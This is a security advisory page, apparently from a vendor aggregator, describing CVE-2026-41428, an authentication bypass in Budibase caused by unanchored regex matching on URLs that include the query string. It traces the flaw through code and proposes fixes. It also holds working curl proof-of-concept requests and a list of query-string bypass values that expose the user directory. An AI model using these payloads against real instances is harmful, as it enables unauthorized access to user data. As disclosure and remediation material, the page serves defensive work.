Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints
The authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL.
Step 1 — Public endpoint patterns compiled without anchors
packages/backend-core/src/middleware/matchers.ts, line 26:
```typescript
return { regex: new RegExp(route), method, route }
```
No ^ prefix, no $ suffix. The regex matches anywhere in the test string.
Step 2 — Regex tested against full URL including query string
packages/backend-core/src/middleware/matchers.ts, line 32:
```typescript
const urlMatch = regex.test(ctx.request.url)
```
Koa's ctx.request.url returns the full URL including query string (e.g., /api/global/users/search?x=/api/system/status). The regex /api/system/status matches in the query string.
Step 3 — publicEndpoint flag set to true
packages/backend-core/src/middleware/authenticated.ts, lines 123-125:
```typescript
const found = matches(ctx, noAuthOptions)
if (found) {
publicEndpoint = true
}
```
Step 4 — Worker's global auth check skipped
packages/worker/src/api/index.ts, lines 160-162:
```typescript
.use((ctx, next) => {
if (ctx.publicEndpoint) {
return next() // ← SKIPS the auth check below
}
if ((!ctx.isAuthenticated || ...) && !ctx.internal) {
ctx.throw(403, "Unauthorized") // ← never reached
}
})
```
When ctx.publicEndpoint is true, the 403 check at line 165-168 is never executed.
Step 5 — Routes without per-route auth middleware are exposed
loggedInRoutes in packages/worker/src/api/routes/endpointGroups/standard.ts line 23:
```typescript
export const loggedInRoutes = endpointGroupList.group() // no middleware
```
Endpoints on loggedInRoutes have NO secondary auth check. The global check at index.ts:160-169 was their only protection.
Affected endpoints (no per-route auth — fully exposed):
POST /api/global/users/search — search all users (emails, names, roles)GET /api/global/self — get current user infoGET /api/global/users/accountholder — account holder lookupGET /api/global/template/definitions — template definitionsPOST /api/global/license/refresh — refresh licensePOST /api/global/event/publish — publish eventsNot affected (have secondary per-route auth that blocks undefined user):
GET /api/global/users — on builderOrAdminRoutes which checks isAdmin(ctx.user) → returns false for undefined → throws 403DELETE /api/global/users/:id — on adminRoutes → same secondary check blocks it```bash
# Step 1: Confirm normal request is blocked
$ curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search"
403
# Step 2: Bypass auth via query string injection
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
"https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"[email protected]","admin":{"global":true},...}],...}
```
Without auth → 403. With ?x=/api/system/status → returns all users.
Any public endpoint pattern works as the bypass value:
?x=/api/system/status?x=/api/system/environment?x=/api/global/configs/public?x=/api/global/auth/defaultAn unauthenticated attacker can:
1. Enumerate all users — emails, names, roles, admin status, builder status via /api/global/users/search
2. Discover account holder — identify the instance owner via /api/global/users/accountholder
3. Trigger license refresh — potentially disrupt service via /api/global/license/refresh
4. Publish events — inject events into the event system via /api/global/event/publish
The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.
Note: endpoints on builderOrAdminRoutes and adminRoutes are NOT affected because they have secondary middleware (workspaceBuilderOrAdmin, adminOnly) that independently checks ctx.user and throws 403 when it's undefined. Only loggedInRoutes endpoints (which rely solely on the global auth check) are exposed.
Two options (both should be applied):
Option A — Anchor the regex:
```typescript
// matchers.ts line 26
return { regex: new RegExp('^' + route + '(\\?|$)'), method, route }
```
Option B — Use ctx.request.path instead of ctx.request.url:
```typescript
// matchers.ts line 32
const urlMatch = regex.tes
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CVE-2026-41428 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.
CVE-2026-41428 is recorded against 2 packages.
Published on 16 April 2026 and last revised on 5 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
@budibase/backend-core has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-287: Improper Authentication) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| @budibase/backend-core | — | — |
| budibase | — | 3.35.4 |
References
Similar Threats
Exploit Protection
CVE-2026-41428 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-41428 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.